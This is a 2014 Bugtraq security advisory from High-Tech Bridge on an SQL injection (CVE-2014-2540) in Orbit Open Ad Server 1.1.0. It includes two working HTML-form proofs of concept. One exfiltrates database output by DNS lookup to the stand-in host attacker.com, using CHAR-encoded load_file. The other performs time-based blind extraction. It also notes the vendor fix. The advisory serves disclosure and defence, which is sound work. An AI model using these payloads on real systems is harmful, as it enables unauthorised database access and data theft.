[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
SQL Injection in Orbit Open Ad Server
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: SQL Injection in Orbit Open Ad Server
- From: High-Tech Bridge Security Research <advisory@xxxxxxxxxxxx>
- Date: Wed, 9 Apr 2014 13:15:49 +0200 (CEST)
Advisory ID: HTB23208
Product: Orbit Open Ad Server
Vendor: OrbitScripts, LLC
Vulnerable Version(s): 1.1.0 and probably prior
Tested Version: 1.1.0
Advisory Publication: March 19, 2014 [without technical details]
Vendor Notification: March 19, 2014
Vendor Patch: March 21, 2014
Public Disclosure: April 9, 2014
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-2540
Risk Level: High
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab (
https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in Orbit Open
Ad Server, which can be exploited to perform SQL Injection attacks, alter SQL
requests to database of vulnerable application and potentially gain control
over the vulnerable website.
1) SQL Injection in Orbit Open Ad Server: CVE-2014-2540
Input passed via the "site_directory_sort_field" HTTP POST parameter to
"/guest/site_directory" URL is not properly sanitised before being used in SQL
query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL
commands.
The PoC code below is based on DNS Exfiltration technique and may be used if
the database of the vulnerable application is hosted on a Windows system. The
PoC will send a DNS request demanding IP addess for `version()` (or any other
sensetive output from the database) subdomain of ".attacker.com" (a domain
name, DNS server of which is controlled by the attacker):
<form action="http://[host]/guest/site_directory" method="post" name="main">
<input type="hidden" name="active_form" value="site_directory_form">
<input type="hidden" name="ad_type_filter" value="text">
<input type="hidden" name="category_filter" value="1">
<input type="hidden" name="cost_model_filter" value="cpm">
<input type="hidden" name="form_mode" value="save">
<input type="hidden" name="image_size_filter" value="12">
<input type="hidden" name="keyword_filter" value="1">
<input type="hidden" name="site_directory_page" value="1">
<input type="hidden" name="site_directory_per_page" value="10">
<input type="hidden" name="site_directory_sort_direction" value="asc">
<input type="hidden" name="site_directory_sort_field" value="(select
load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))">
<input type="submit" id="btn">
</form>
The second PoC code works against any platform (UNIX/Windows) and uses blind
SQL injection brute-force (dichotomy) technique to extract data from the
database:
<form action="http://[host]/guest/site_directory" method="post" name="main">
<input type="hidden" name="active_form" value="site_directory_form">
<input type="hidden" name="ad_type_filter" value="text">
<input type="hidden" name="category_filter" value="1">
<input type="hidden" name="cost_model_filter" value="cpm">
<input type="hidden" name="form_mode" value="save">
<input type="hidden" name="image_size_filter" value="12">
<input type="hidden" name="keyword_filter" value="1">
<input type="hidden" name="site_directory_page" value="1">
<input type="hidden" name="site_directory_per_page" value="10">
<input type="hidden" name="site_directory_sort_direction" value="asc">
<input type="hidden" name="site_directory_sort_field" value="(SELECT
IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=0,1,
BENCHMARK(22000000,MD5(NOW()))))">
<input type="submit" id="btn">
</form>
-----------------------------------------------------------------------------------------------
Solution:
Update to Orbit Open Ad Server 1.1.1
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23208 -
https://www.htbridge.com/advisory/HTB23208 - SQL Injection in Orbit Open Ad
Server.
[2] Orbit Open Ad Server - http://orbitopenadserver.com/ - the free, open
source ad tool that lets you manage the profits while we manage the technology.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ -
international in scope and free for public use, CVE® is a dictionary of
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to
developers and security practitioners, CWE is a formal list of software
weakness types.
[5] ImmuniWeb® - https://portal.htbridge.com/ - is High-Tech Bridge's
proprietary web application security assessment solution with SaaS delivery
model that combines manual and automated vulnerability testing.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and
without any warranty of any kind. Details of this Advisory may be updated in
order to provide as accurate information as possible. The latest version of the
Advisory is available on web page [1] in the References.